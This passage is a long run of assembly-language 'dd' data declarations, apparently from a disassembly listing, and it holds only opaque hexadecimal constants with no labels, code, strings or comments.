		dd 0E20CD17Bh, 0EE00769Fh, 82E7E9A1h, 3FB5DFA7h, 0D100672Eh
		dd 9A0432A4h, 62005C4Dh, 2AD76187h, 137BDBFh, 99C47850h
		dd 0E0362981h, 0DE30AAC3h, 6C2619AEh, 0CE3D007Ah, 8A2C21DFh
		dd 4C306841h, 0DEE82184h, 72180E7Fh, 23C0654Eh,	0D2120657h
		dd 325140h, 0D3097638h,	0A90BC019h, 5C52C200h, 0FD3DCB0Fh
		dd 0FF5E003Bh, 515407C7h, 0AA3E28D8h, 61B7B038h, 0FF70119h
		dd 3A8E6691h, 74FC40F2h, 23765BE9h, 98B34403h, 90718FFDh
		dd 4B46F6h, 0D2B957D7h,	4A419582h, 0BB2D2A00h, 42838CD4h
		dd 5A2B284Fh, 4C433E08h, 0D5B85883h, 31009481h,	201411ACh
		dd 9A9A61B5h, 281A3C34h, 0AA8E38FCh, 0C22A60Fh,	7023C600h
		dd 1C1881BDh, 0B5A121C0h, 399B6399h, 0EE80B166h, 0CFE19114h
		dd 64B53BA0h, 231C2CA0h, 0BF392060h, 3A71FBF6h,	4A00AEBDh
		dd 9B401A52h, 2500A617h, 837CA06h, 0B57329h, 8FE207A5h
		dd 3BAD015Bh, 0BD78A801h, 0AB49209Dh, 13C840ACh, 1A1443A6h
		dd 70128DA5h, 5000E114h, 0BA4B0F80h, 71DC0E20h,	301822C6h
		dd 0EDE0EA8Eh, 68D91C28h, 0D7C1DD00h, 6C2834D8h, 3CB80009h
		dd 0FF290B76h, 0C0EDF547h, 0E1038194h, 0E95FBF8Dh, 0A005906Eh
		dd 0C9F80056h, 0A9DD7C4Eh, 3B00E175h, 3659ADC2h, 3D3BED2h
		dd 96372C0Eh, 0F1F072F9h, 0FB7A0993h, 242FE800h, 3E16EDBBh
		dd 0BDC20047h, 790863F0h, 2B00EA01h, 0C504CEB0h, 8640D6h
		dd 0DE61EE99h, 90FB8FC1h, 0A51B3904h, 0A8C0F3F5h, 95E20Ah
		dd 49C4B0FDh, 0EFF01299h, 0E4D69400h, 0CEB6A2D3h, 0D2C50007h
		dd 5D054309h, 2105BBE1h, 252DFEA8h, 69D98440h, 72BADD0Bh
		dd 62EC003Eh, 6DE8E1EEh, 1870EDE2h, 7D2C110Fh, 0A536C02Dh
		dd 390354h, 0DB0DDD06h,	59235AA6h, 50463A30h, 4D7AABA4h
		dd 18781036h, 30ED8617h, 8EAA1D5h, 9ECC1800h, 5A23E21Dh
		dd 0DD020635h, 912B2ED8h, 0C5858D00h, 2617F9EEh, 1DC27899h
		dd 0C03307A0h, 442E730h, 6007F51Ch, 0BF281F69h,	0B4725850h
		dd 71830063h, 991E2ECEh, 12000476h, 1AD7F6CBh, 23202Ch
		dd 965A0EB5h, 423706D3h, 34DC6C03h, 0C01518BDh,	88E8Dh
		dd 6A64E9EBh, 7F0E31C7h, 0D400117Ah, 4D04D776h,	255EB7h
		dd 0D56B7C21h, 79D33AACh, 72984A07h, 0C7B1D1DCh, 41801F06h
		dd 0A114A6FCh, 79013DCEh, 6304C08Eh, 288355B8h,	0D3731331h
		dd 4A6A0800h, 3475251h,	0CC82003Eh, 0C08D4943h,	0B2000478h
		dd 59C8C192h, 3841E646h, 38E0C47Bh, 0FFD69586h,	0E98FBF00h
		dd 0C04DDC01h, 0B20C0053h, 45C9DA03h, 43767204h, 80F39F3Ch
		dd 98C6174Dh, 0B83CDBh,	578EB11Fh, 1242F843h, 2093A300h
		dd 0D771A54h, 0C4590C03h, 0EDD11DE9h, 18FBA201h, 22DD4D7Dh
		dd 2800B8BEh, 63E36EDEh, 60007F82h, 0E7B71445h,	39E2A3Fh
		dd 88290DD4h, 31383CDDh, 0FD651FE2h, 0EDC0735Fh, 4A3DB776h
		dd 90950049h, 0F3B5F241h, 9200966Dh, 10ABBE1Eh,	608AF76Ah
		dd 40B18935h, 0DE1EE341h, 2081A0h, 0AD5D1993h, 706FA2E6h
		dd 55C55000h, 6EA7636Ch, 2A2B02F5h, 30ABA074h, 0B2B59C00h
		dd 955F00E7h, 104D4C20h, 40087B0h, 0DCBBD271h, 0FC22F579h
		dd 0B3E1008Eh, 0D265C48h, 65615D7Eh, 0BA334E4Ah, 6BD22880h
		dd 757108EFh, 0C9ECFD00h, 9EB81B28h, 0F1DC11A4h, 0E0103816h
		dd 590F0508h, 471E00CEh, 0CC922549h, 110016F3h,	0D2CD52C7h
		dd 9FEBBAh, 0EF3C96E2h,	0F3A1881Dh, 4A518F00h, 0E5C77D4Bh
		dd 0B3EC1E82h, 75807FD9h, 38AFB62Bh, 0A601231h,	54B3EF71h
		dd 0ED890EC7h, 0C9210E80h, 8E056E3Ah, 338AE120h, 2CBB7400h
		dd 6B37A8Ch, 1EC30D3Fh,	0C214A918h, 9D4C46h, 0D67F5428h
		dd 0E049D72h, 0DFEC1347h, 29022A3h, 0B337500Fh,	6896A099h
		dd 0FDE8621h, 35E1E0E8h, 0B0DD7127h, 0AF9AEE42h, 611E1130h
		dd 767B50Bh, 0B8394692h, 0AF4BD0B6h, 0CD00D241h, 576C3BF9h
		dd 1A18907h, 0BA03018Fh, 80B5120Ch, 96EA7870h, 73C01Dh
		dd 0F3FD084h, 6821F8FEh, 5BAF2007h, 1DB0390Dh, 740C3E5Dh
		dd 70557FCDh, 9DF09506h, 80604E00h, 30FD1EE2h, 91B50346h
		dd 1D5EB621h, 97241800h, 6A3F77EDh, 23BD3C3Eh, 34E7170Fh
		dd 268EAA01h, 5D288333h, 1C12B81Ch, 40DE7E61h, 86A32BC7h
		dd 19286693h, 6D01E77Ah, 0A2C2ABACh, 35D1378Fh,	3CD3080h
		dd 69669016h, 0BB9E14A0h, 83130F00h, 475D3D37h,	78026093h
		dd 0EAAC8D22h, 1CD1C768h, 13A7D63h, 273DE119h, 0E832E897h
		dd 98C8D16Ah, 962140DCh, 0C0C31277h, 421056CEh,	2EA25C21h
		dd 70986C20h, 0D335033Ah, 6AD660EEh, 10828DB8h,	155D20C0h
		dd 2E1C4DF6h, 1F78EE55h, 71CC00ADh, 0A74EB5AAh,	0B1C24B30h
		dd 0EC36BB3Ah, 48C306A6h, 603F4C98h, 99386A0Ch,	634A5119h
		dd 0A806313Dh, 0F03E90F1h, 83195AAh, 0C8E518CCh, 3F99AC8h
		dd 1196A925h
		dd 0B000E966h, 9FE329CCh, 149A3D53h, 0A05F8B77h, 3F178E11h
		dd 33CF9424h, 36490398h, 80A93771h, 3914E3EAh, 518048CBh
		dd 385DC1A5h, 9730AD22h, 0B693797Ah, 247B500Ah,	0BCC2886Ch
		dd 3B4BC107h, 93F1E760h, 0EC401945h, 0A077CCE8h, 0F8EBA3A7h
		dd 0B0A05012h, 692230FCh, 0AC56D5F1h, 43472309h, 76000018h
		dd 4C06266h, 0FC29E281h, 5520803Ch, 4154C5ACh, 9A727DCCh
		dd 0DE235207h, 0D626C9D8h, 21736008h, 337DD218h, 988F6E00h
		dd 0E977F3B7h, 56AB20C2h, 0D354B600h, 5599B4BBh, 2C290066h
		dd 0DDBE91F7h, 0FA00086Ah, 2BDBF9Ah, 0D597F12h,	160797E5h
		dd 55B980A0h, 398CB39Bh, 0D68CA33Eh, 0C45485B0h, 99EA6075h
		dd 0EBCC0EF8h, 1CACEF20h, 96143E68h, 232CC333h,	84881CDAh
		dd 628E2350h, 800E2079h, 163B667Dh, 7E6B8FB1h, 8C52FFBh
		dd 13CB0955h, 23368C07h, 12A0D91Ah, 4800E188h, 602CA88Eh
		dd 3C05256Eh, 7E0091A4h, 9959B58Fh, 0D3007A8Dh,	0B42D3BE4h
		dd 79EE835h, 9D15E374h,	30405FAEh, 1CE00603h, 0FAA7370Bh
		dd 18498045h, 3AEEDA42h, 7380D69Fh, 0DE36A99Eh,	81014BBFh
		dd 39B6272Bh, 0DCE04E4Ch, 22E000ECh, 0E89497AEh, 5A3A6152h
		dd 6AC60078h, 5BA909Bh,	0ABE50775h, 0C0C76C8Dh,	0F2C5320Ah
		dd 0A90040FAh, 613F461Eh, 7EBF25D2h, 65703Eh, 9ADF06C3h
		dd 0F38A1EADh, 0DC90A800h, 0AEE76D6Ah, 0C211073Ah, 735A353Dh
		dd 60A3EA1Ah, 250C8BD0h, 0FB69F001h, 2B18329Ch,	21400898h
		dd 257FD451h, 4BC65E00h, 0FE1CFBB5h, 0BCEB406Fh, 0F02153Eh
		dd 3E0E9F1h, 6BF0C7h, 0BA7AEB38h, 0ACE50573h, 0AD9C260Ch
		dd 0C04E08BCh, 73D22821h, 0CE3B5CFCh, 3D4B80DBh, 0CB1DC2FEh
		dd 0BA61C139h, 8273C5h,	6FAFFA7h, 0AE4B315Bh, 9F06207Dh
		dd 3328D899h, 5FC31h, 0CBDBAABh, 5CB47C06h, 213008CCh
		dd 0AB1A3FF7h, 99FAACh,	0F686896Bh, 1800B8F9h, 1C7758A4h
		dd 54F06F62h, 0C8EB80E9h, 0D6C0CBD8h, 46E51973h, 1622CCh
		dd 0B073AE24h, 23EEFFE5h, 3F4B3007h, 61509A6Eh,	18BB826h
		dd 0AA650DD9h, 0D7B21B32h, 805A3800h, 0CBD52BD6h, 66BC19F3h
		dd 807B09E3h, 2BC2A021h, 1201FDAh, 0BBD68474h, 824D1E1Dh
		dd 0CAEF2FB0h, 18908C8Ah, 0CC82520Ah, 0ABCC6E06h, 83001093h
		dd 8E2F1B20h, 9258B3h, 89AD078Dh, 631C68C4h, 5C8FE51Dh
		dd 43C71C0h, 0C65655h, 0F26721Bh, 0B8EA4AE1h, 63146600h
		dd 452F9237h, 714E3E0Dh, 6D5FC90Fh, 6F29781h, 43188164h
		dd 6EAC3932h, 93F42F0h,	56744BF6h, 54EF3101h, 0DC0EE1F7h
		dd 79031AB7h, 91446202h, 0CD08301Bh, 0B76A5521h, 34D40A03h
		dd 0A93AA15Eh, 6DF424F6h, 95850368h, 0F912F2BEh, 2EE3107h
		dd 58263EF6h, 74F070h, 0CE098961h, 0D712640Bh, 3065C33Ah
		dd 791731ABh, 0A60E0089h, 67AFCB10h, 37003B68h,	0AB2B3ECCh
		dd 0C5444AFEh, 0D4845D0h, 9170D4D8h, 6C803968h,	33CE2489h
		dd 2172678Ch, 0F89B71Ah, 4DBFDD80h, 0E674FC4Ch,	2051196Fh
		dd 32331AADh, 0EEC103F1h, 0E1967259h, 0AEFC80CFh, 0E01F9380h
		dd 71405DDAh, 18665F78h, 2BF00E3h, 685EFA1Fh, 8A00C410h
		dd 0A18D9F2Ch, 736DF8BBh, 0B7B80025h, 0B97A24C5h, 0D6078B47h
		dd 0D7C1D39Bh, 9403C891h, 15B7E60h, 6089E31Dh, 0E0320559h
		dd 9701A02Bh, 218BBFCFh, 0C4E4C60Dh, 7EAC0069h,	592E0A6h
		dd 0A5B00BA9h, 0CA68F70Fh, 85FC806Ah, 7C0790h, 71AC7864h
		dd 9B77DCF5h, 4F00EA79h, 51BFAB29h, 0EB9B4CFh, 305E4954h
		dd 0C48EF0C9h, 0F12AD6A0h, 69037031h, 0F9F46163h, 0B2EDF03Ah
		dd 78F3009Dh, 0FC11E542h, 451EE189h, 0F6189A70h, 6FEC3D18h
		dd 0C902207Dh, 1880AAB3h, 877C56C0h, 0A1915B00h, 0DBDE3EDCh
		dd 0F0E831h, 0D01AA6ACh, 0D6B807B4h, 0EDEE8C00h, 0A9C6C15h
		dd 681E0092h, 7089D113h, 8D01C633h, 977E3EBCh, 144EE3FCh
		dd 0FF96900h, 6AF26FBh,	0E06C5D21h, 5B9764B9h, 0AE015400h
		dd 58AFDFFEh, 3A630F5Dh, 0ADA3F49Fh, 94F0CAB7h,	1BFBE0FFh
		dd 7028071Bh, 4E3554C1h, 7440074h, 0E69895Dh, 751F7CFCh
		dd 0EB0F029Ch, 0C0340B4Ah, 1C7E7EE0h, 0FF0034A7h, 0F78C8650h
		dd 0D11E3EF8h, 0CA002056h, 0EAB7696Eh, 44A5BFC6h, 0F6F45780h
		dd 0A8E79BC7h, 29BAEFE0h, 21E848E3h, 45690604h,	6D1F10FEh
		dd 5041EC2Eh, 60995D1Eh, 56F0E0D7h, 8FA200F9h, 0F4910D7Bh
		dd 14004EF3h, 0ACD307Ah, 70E9739h, 0E5C9C220h, 339C80D2h
		dd 8400E4BCh, 64CEB330h, 520286h, 14316894h, 725FCDD3h
		dd 28606700h, 0E83C7FA9h, 0BCFF00DDh, 91D42F64h, 0F200EE82h
		dd 79486F73h, 1FF82A80h, 794BE8Ah, 91B30DBBh, 0E0978CAEh
		dd 30C02F8Dh, 0BCAF1AF6h, 9E9C0018h, 0A3C87407h, 7100BA41h
		dd 8B0D67CEh, 43C15A7h,	2EAB32FCh, 0F54C131h, 0FE10E08Dh
		dd 96A28A03h, 82B48268h, 56A5806Ah, 35F3D0Bh, 5E27B297h
		dd 0DC8B6071h, 0A4A03BC2h, 0E7EA9A2Ch, 69A22500h, 2019E2D7h
		dd 0C6E83963h, 4009DD98h, 9708F767h, 3C452E8Eh,	0DB004222h
		dd 0A7D00FB7h, 0ECED20h, 94B1637Eh, 0FBA11306h,	58F402F2h
		dd 4A75802Ch, 28D51900h, 0E037C1h, 6EEAC77h, 0BAF78669h
		dd 30C0F500h, 0AA0529Bh, 428907B0h, 3E5CBE3Ch, 8D0B1B80h
		dd 1E02E9AFh, 9D8ED199h, 0E8A880E0h, 0A6A026h, 0A7896A5Fh
		dd 33C31F47h, 21718A7Fh, 0E3514100h, 995E5CD5h,	3C4E0057h
		dd 0C3C0C8F6h, 37007DC7h, 2294E871h, 0C93FD9h, 74F87C72h
		dd 0A907F370h, 636A300h, 80CD47C5h, 173300E8h, 9EAF7C61h
		dd 0EE005884h, 247F5B2Dh, 72482Ch, 0D4A6E397h, 29B28F6Ah
		dd 458E948h, 818522B1h,	0A7C04A84h, 0E6A44915h,	0DDD30F8Fh
		dd 0E0C00D96h, 1372DC27h, 7B173F00h, 0AABED12h,	26A4011Bh
		dd 3C200561h, 0AE0EC466h, 71006CEEh, 18B37499h,	0A8F12EC8h
		dd 0A5C5D8h, 0A963054Ah, 7208914Ch, 0CBB0D401h,	74A8FF86h
		dd 6A73E040h, 20F10613h, 602CBE56h, 143A0600h, 0DC9E9930h
		dd 0CA3500DBh, 0BBAC7651h, 0A4004811h, 96838A47h, 48AA3079h
		dd 5980000Fh, 1B2AB402h, 0F23BF901h, 1872B37Eh,	0BA814F0h
		dd 6607E009h, 0A4A97B80h, 1648B133h, 947E81E4h,	0C20DA9Ch
		dd 5B9900CDh, 6ED4CC90h, 0A60130F4h, 43751154h,	84503F15h
		dd 16CCD6FAh, 0F837CDD5h, 0D9DC148Bh, 0E61C00D0h, 71300355h
		dd 731B0044h, 67F2F0C2h, 0B300D621h, 0A125BB3Fh, 0BFFD96h
		dd 99F179Bh, 0E6163551h, 59D8751Dh, 8382D640h, 146713h
		dd 26DD94ECh, 0B35E9CC8h, 80EFE539h, 2FBBEB25h,	1EB970B1h
		dd 4082355Bh, 64638DB7h, 9800C8E3h, 4EC2429h, 88024Fh
		dd 31251D71h, 32033421h, 0FC013EE8h, 97683D63h,	0FC8E0799h
		dd 5018F8EDh, 280FE7AFh, 406D67BCh, 11DC530Ch, 0FC2C001Bh
		dd 30E5AA75h, 3D00CB70h, 0F3920B42h, 7445F6h, 715AA760h
		dd 0B6B767B9h, 55E94614h, 9F7301B4h, 7CBEBFB5h,	0E4ACE4h
		dd 3A5BE07Dh, 0A94A0B4Ch, 0C0DDEF00h, 0C57118F7h, 382E76F9h
		dd 30009C04h, 0DF0874A0h, 8201DA4Ah, 113949F0h,	7FE559DBh
		dd 15CC3EC1h, 0CF6E0312h, 6AD2C627h, 0C54D86B8h, 0E8106414h
		dd 99855098h, 19354030h, 4C886C95h, 0B71CD079h,	0F0830037h
		dd 53BF0199h, 809E6403h, 99C55C20h, 3C343C6Dh, 720A01DDh
		dd 0C47F66E7h, 0EC4DFCB3h, 9AFDD000h, 8F54A2E2h, 484200AEh
		dd 6B946009h, 8001BE43h
		dd 856127ECh, 0ACE8A4B8h, 1024608Dh, 3C7B43DFh,	0A3210A60h
		dd 7DDA0684h, 42600FBh,	3385670h, 345CBDC5h, 5286028h
		dd 49CA4E22h, 0FF03BCA4h, 6E369EC5h, 24260A91h,	0BC7E9570h
		dd 0DEC87500h, 0E7A11A48h, 7E540209h, 9259331Bh, 75F42081h
		dd 354CF403h, 0E34B7100h, 0DF39A50Fh, 0B37712A9h, 686C0305h
		dd 0F1C0A32Fh, 7603E37Ah, 186490F0h, 62CEA050h,	332F00FBh
		dd 0DAC2666Ch, 648B512h, 0ECC02628h, 0CA268180h, 205CB4h
		dd 5D543188h, 4B8AB180h, 60CBD500h, 0F9B76822h,	335FA37h
		dd 5892D1F1h, 10517B0Ah, 9F21D804h, 203D1000h, 0FF6395ECh
		dd 3DF2ECB7h, 4A03F4D1h, 2DF3098Ch, 43C921E0h, 0EB1CCE77h
		dd 108078E7h, 0AFABE3E9h, 90F7305h, 0B382611Ch,	0E1CB4D01h
		dd 0CACFC08Eh, 24906213h, 0C888C00h, 796712F8h,	0FEAB026Ah
		dd 3F27CD8Bh, 0A5C4464h, 0B6640072h, 335CA487h,	86B50202h
		dd 1675CC45h, 0CF44D4A0h, 5F34B659h, 0A890545Ch, 0B0122313h
		dd 0CFFE3DE7h, 8D008438h, 0E6E21E01h, 3400734Eh, 3DC1AD1Ah
		dd 7037C1Fh, 8E0A9D7Eh,	44F9A0A5h, 0C7002A6Dh, 0B7385BB6h
		dd 908CAF86h, 10CB0E57h, 3B80C580h, 0BEF71A46h,	0F17A3805h
		dd 49043F3h, 1F021Bh, 568C0C85h, 0EDC1B955h, 24C7CC24h
		dd 4EA1114h, 0F5797ADh,	351CA081h, 49C34h, 3169D532h, 0B9AADCA0h
		dd 0C00A290h, 9E57408Fh, 82494Ch, 3A419A16h, 80478A90h
		dd 5C9B090Ah, 800083Bh,	0EF385F88h, 85463142h, 2077BD31h
		dd 2630622Dh, 0A8CB717Ch, 0AF6B03E1h, 7710392Eh, 29E62DA1h
		dd 487F3EC0h, 0D7D00B7h, 3F908AC9h, 53474C34h, 7473E13Ch
		dd 827A07F6h, 0F4690146h, 23E890B3h, 796F9198h,	4FA28048h
		dd 0A224328h, 0A678854h, 0E00C0308h, 180C67Fh, 50D8F861h
		dd 5F44240h, 622A5C5Dh,	6958002Ch, 0C09F1B7Fh, 0CEE49600h
		dd 90434E71h, 0F4F10074h, 0DA4B3FC9h, 0F0031D59h, 52F55F17h
		dd 7AA6A8DFh, 9BF20Dh, 0D643DC0Ch, 0E9AEB36Ch, 80D39C3Fh
		dd 0B2F6F0B7h, 6B6A93h,	5462A3EEh, 0C26CDA84h, 42000AEEh
		dd 0ACBDA960h, 5CD5404Bh, 64011630h, 0AB559AA8h, 0D85CD524h
		dd 59006925h, 4CBFE538h, 1CA68AD0h, 8035C217h, 3B61D64Bh
		dd 6E0E4ABBh, 0BE7E7588h, 1BC0AF9Dh, 0D26654D0h, 0C9640081h
		dd 0B15C6FF9h, 8A0E1110h, 0E7EC59D9h, 0A3802357h, 0D2C9F5h
		dd 2B8D9EA8h, 0E09BE8E9h, 6E059CA8h, 4A3F0A00h,	628E58ADh
		dd 0EC08CCACh, 791F2521h, 3A40D90Ah, 0C962EDFAh, 4A270006h
		dd 568DA034h, 550A2390h, 0BC4BF12Ch, 0DF37588Fh, 1DEF043h
		dd 3076EBEAh, 0BF21A408h, 0D51CA03Fh, 3CFE9FDCh, 0C88380D3h
		dd 0DEBCCB9Eh, 104C0225h, 2D4E7045h, 0E528A0E0h, 0B049A3E6h
		dd 57620018h, 7132E636h, 0D57C0E8Ch, 7B8C8D21h,	2F004C21h
		dd 0E01E9336h, 6471FA3h, 0C4760D3Ah, 4500D9FCh,	0D7929CCEh
		dd 6CF9856h, 39AD837Eh,	0E50F21CAh, 4C3F4B4Ch, 9611EAh
		dd 1054F0E7h, 69E12E47h, 7808BF6Eh, 16EFAB21h, 0E831F0h
		dd 6665505Ah, 0D6EE45DFh, 0D0CB7137h, 1A6F8E31h, 0C6496880h
		dd 0ED57069Fh, 6C4AB20Ah, 0C081A8D4h, 0E5873AFFh, 2905CAF0h
		dd 3B46B80h, 458838F4h,	828C1000h, 0AF7F9DA8h, 0B5B90767h
		dd 6097CBC0h, 0DC093DEEh, 48667100h, 80C3829Ah,	0D2F800B3h
		dd 0E41BE16Ch, 0D8005733h, 17FF732Ch, 0A0E5CCh,	32974127h
		dd 29826070h, 55DE3D00h, 172DC9ADh, 0DA38004Dh,	47FD1D0Fh
		dd 0D9001928h, 0D8084B93h, 78499C43h, 62C62CA4h, 0E2BA00FDh
		dd 94E03147h, 5873201h,	490A0E2Fh, 24BFCCh, 9B660C6Bh
		dd 0D1A0AC54h, 0FFF7FB00h, 48632B65h, 77A73h, 1B9F0390h
		dd 15429D0Ah, 383CA618h, 0BA318h, 288B60E2h, 3E3FA9D7h
		dd 8A402186h, 42DEDA08h, 76118D6Ch, 0D4881850h,	82328929h
		dd 9BEB8319h, 0D29300C2h, 0B57C63BCh, 9963F6E0h, 0E8EDD108h
		dd 28B91303h, 0C0CA8A26h, 1BDA0818h, 50CC97AEh,	0FE8581FDh
		dd 311CA078h, 68D00238h, 1A0A2D26h, 18C3DD43h, 0F3E23BC1h
		dd 518E7037h, 96826BB7h, 0FD088A85h, 118D830Ch,	0BF750050h
		dd 97EFB5EEh, 7929DC47h, 0B9009468h, 36E4128Bh,	0E1BCF4D7h
		dd 7E63A200h, 70A67506h, 3899A8C9h, 0BDBD36C5h,	44026h
		dd 68B554CDh, 74FA8894h, 7CAE3B3Bh, 0F02C5118h,	7FB926D8h
		dd 3A14001Fh, 0CA27568h, 4C18A879h, 2D383DC8h, 614360F6h
		dd 0FE6DB1DDh, 0E0698102h, 6002688Ch, 91943Eh, 23400511h
		dd 209D9B45h, 15663Ch, 3757D732h, 6F4A21A4h, 79A018ABh
		dd 49CE24D9h, 0D0038B30h, 790BC8CBh, 3A8D00D3h,	2C82162Ah
		dd 8700BB97h, 3008796Eh, 20242BD4h, 1C2A3E41h, 9F00E862h
		dd 60BDB0D3h, 7B296B10h, 0DD371EA0h, 3BED2E3h, 2D631300h
		dd 7855193Dh, 0D389B07h, 0E293A279h, 0BC00A510h, 2E7D2036h
		dd 31E81Ah, 8F383476h, 0FA05CD53h, 11C9190Fh, 80D6C08Dh
		dd 71D42426h, 0D17401A2h, 0F82885CFh, 3477D0E8h, 4B5BC101h
		dd 3F269D68h, 0FC48BCh,	0BADEDF23h, 2864FB2Dh, 76944D00h
		dd 0AAA256BBh, 0B9C73E93h, 3F6F3301h, 0C0FDA68Eh, 0D47BC45Ch
		dd 92B4BE0Eh, 0E474002Bh, 0F2DC54h, 0A83AD716h,	0ED08FB82h
		dd 99806D00h, 0D18183F3h, 0B92F0094h, 3BDAD76Ah, 0D318A7C1h
		dd 87A0CEECh, 23313030h, 1BAE7E66h, 2C91AC01h, 0D6F80B4Ah
		dd 4F91094h, 0AD8F55A0h, 372D10C0h, 60C59757h, 0D66C8629h
		dd 2F779D40h, 4BA04500h, 0C26509EEh, 0B83372C3h, 0F3FE00E4h
		dd 0D70F5F9Eh, 0CA7FBBF9h, 2534348h, 0B457B690h, 0C486087h
		dd 713F03E7h, 0FC6E8C5Fh, 5AB9E390h, 0BB144E00h, 4AE18BA7h
		dd 849300A2h, 896D6571h, 8D00E358h, 56F7FC9h, 0F2096DBh
		dd 6CADA3D1h, 74F0D00h,	4638B6A4h, 73C28E93h, 0D6E667A5h
		dd 3E1D51C0h, 0CF5E004Ch, 6043082Ch, 1E03E4BDh,	2A728331h
		dd 0A654A035h, 9E441DAEh, 0C11600B4h, 0CE20223Fh, 15BDB90Ch
		dd 9FCD1126h, 491627F8h, 20004C05h, 812533E3h, 217D0067h
		dd 0AE9A0B13h, 0D80069AAh, 0E997959Dh, 0FA01E3h, 928D9BA0h
		dd 0AD850F84h, 34D66500h, 0DB695B57h, 2E28C094h, 0CF08BD3Ah
		dd 40FC8207h, 0F760D53Ch, 1A528Eh, 0BA375A98h, 4C47693Dh
		dd 20F05655h, 5005FFAh,	80A00B93h, 0F5DF370h, 0F1A6330Ch
		dd 0CFC81260h, 2D3CAD69h, 8104C847h, 17412816h,	3CB74560h
		dd 423BA491h, 0C645B8Eh, 0D8833620h, 0C9006635h, 281C9687h
		dd 0CFF4B45h, 6F53C220h, 686FBB60h, 20D58F26h, 0B170A03Eh
		dd 0E4080006h, 589E1939h, 1E009FCCh, 0B253DE7Fh, 3D6D56A1h
		dd 0CA0742F4h, 475931F5h, 0A8BC40BAh, 913B8B9Bh, 7BBD03D6h
		dd 800A1D01h, 0EB4B8F3h, 566C3DC4h, 4519DCE0h, 0E900BA91h
		dd 53EA6123h, 0ABA6DFh,	37AD67CFh, 0F716B01Eh, 1BDDEE1Eh
		dd 0C1F85198h, 3A2B0011h, 40460F07h, 0E3000B8Bh, 0D302756Ch
		dd 10421F3h, 7F8731F7h,	403E956Ah, 0CE668808h, 0EE4858h
		dd 0D9244591h, 501AB50h, 90753D7Dh, 38AC14F2h, 8C074F3Ch
		dd 60BB19h, 0FC20DF26h,	147061F6h, 5F49EB0Ch, 9A7F0A3h
		dd 7CB8EE0Ch, 71030000h, 8A07F005h, 41BB175Dh, 7B1DB351h
		dd 927812E4h, 6FBC008Ch, 98D7650Ch, 1B244B36h, 280E4AFh
		dd 0E6D0195Dh, 79707Dh,	5CAB8098h, 0BF494328h, 5D2CDCFDh
		dd 9AC86300h, 2085E034h, 0C6BD0C0Ch, 0F8AEBF95h, 0F38D4D04h
		dd 0C0AE2F44h
		dd 67E8D4A2h, 1307AB0Ch, 1EB49A79h, 24F3688Eh, 862500E6h
		dd 0BFD55B16h, 37610900h, 755C1B6Fh, 0AE90046h,	9F583901h
		dd 5E1E0DD9h, 1700C85Dh, 0A2941B42h, 0D58F032Ah, 34261215h
		dd 9C77EBD0h, 0A808200Eh, 0F15643C5h, 57019FDAh, 8AF1968Bh
		dd 0D0A4E0h, 762312E8h,	0A25AAE1Ch, 0C2289905h,	0C401CB18h
		dd 826C042Ah, 31A5830h,	0B2B34C55h, 0BDB883D7h,	0FA02F42Fh
		dd 0BD0CA3Eh, 887EE388h, 7BF71214h, 8B59043Ch, 0C07FE3C3h
		dd 3F04C9F1h, 6DDBC600h, 6F9CAECEh, 0F160061h, 78EE3C57h
		dd 0C82CBE94h, 0F8007F88h, 16A3803h, 307E0070h,	183BE277h
		dd 203F4D6h, 0F7AF34DAh, 0B9B00896h, 0F900F1C9h, 0AA6F4104h
		dd 71374C7h, 7CDBDA9Eh,	9358C3B3h, 4CC03CFBh, 1F163247h
		dd 7E07E94Dh, 0A77090B6h, 0A287C61h, 5A9E6CFBh,	0EA5C00ACh
		dd 2B4906BAh, 76241D75h, 829D14C4h, 0FD86180h, 0A0B00223h
		dd 7C9C88h, 86700D18h, 0C6F8CA07h, 0B1DBF600h, 2ADACF49h
		dd 8A053BACh, 328BB8BBh, 3680353Eh, 0BE23816Dh,	67037F7Eh
		dd 26480A89h, 482940Ch,	75816032h, 27E20064h, 0D34B7905h
		dd 9800397Dh, 0E57F186h, 0FFB2061h, 0E7C34F9Dh,	0FC495940h
		dd 0AC0E1450h, 2ECAB99Ah, 25D002ABh, 0F6974123h, 785D3F8h
		dd 36CB5186h, 38E8B0C6h, 5C0B3A4Ah, 83F1B15Eh, 0A8DA11A5h
		dd 1277C2E7h, 0F09A18h,	324FBFF4h, 7496D68h, 553C1610h
		dd 0EF1A5000h, 0B89AE4h, 830DDE95h, 0ADB91CB1h,	0D30080EAh
		dd 0FFEA45B7h, 1E1A8EA4h, 0ED564ACh, 96806E27h,	884A997Ch
		dd 639CF700h, 280E3C33h, 0D4C800D0h, 0FF2F75F2h, 92002B4Bh
		dd 98CCB701h, 908A6BBEh, 0E823008Fh, 894A4DD0h,	0BB4C4707h
		dd 8501799Dh, 244B680Bh, 0DC357B13h, 0CBBFE4h, 0F7D71A5Ah
		dd 0D305647Ah, 0D41D3800h, 537791E2h, 7E560381h, 766EE39Bh
		dd 9A4F1101h, 52776FE0h, 0C11A4820h, 752D1030h,	372034EBh
		dd 0C19BDF01h, 443B990Ch, 17E3064h, 35F8B4C2h, 83FC6FFAh
		dd 0ADCB2030h, 4A5AA05Dh, 0C3B47B24h, 474598A0h, 0D3DA390Eh
		dd 0F3C447D7h, 0BB8B1140h, 4B030771h, 504E9613h, 0D0414D42h
		dd 0D492B900h, 0A2099718h, 0C4A1009Ch, 629E57ADh, 0A9018096h
		dd 0FBE5E467h, 4C413A98h, 3C46D574h, 0C02F6091h, 913BA9D2h
		dd 0A30F78EEh, 0B65228h, 3EA8D1F6h, 0A9A502B3h,	1074A620h
		dd 44395CA2h, 2E01F311h, 0C0E4D0BDh, 742888AEh,	220E1C1Ah
		dd 92A583h, 1BC50F2Eh, 0F3A12CA2h, 0FF0D003Fh, 88A74047h
		dd 36B52900h, 6BA3C106h, 3AB600BBh, 1DCF0FFDh, 0CC07B1BEh
		dd 0E95D08CAh, 3B8F9240h, 4B5100EEh, 79689319h,	2200B359h
		dd 47A08876h, 0EAEF9A2h, 8329BF3Ah, 0A7D2F2C0h,	2C3FADF3h
		dd 9E8E3FFAh, 1A40CD56h, 48094E9h, 2687B9Bh, 7FF23274h
		dd 8530C1Eh, 0E05F04C8h, 0AFBF8DBCh, 923397F8h,	0C883D062h
		dd 0A04437h, 0EBCE750h,	921F335Eh, 97470C0Fh, 0D12240EFh
		dd 0C8307B80h, 0BB80FB29h, 0A4F78D58h, 38F1009Ch, 12A79BE3h
		dd 0B800BF54h, 0ACA35915h, 17B729h, 0C9605D8Eh,	0C261894Bh
		dd 347BD80Bh, 0D714A00Dh, 2CA1FBFEh, 591898h, 315BDB74h
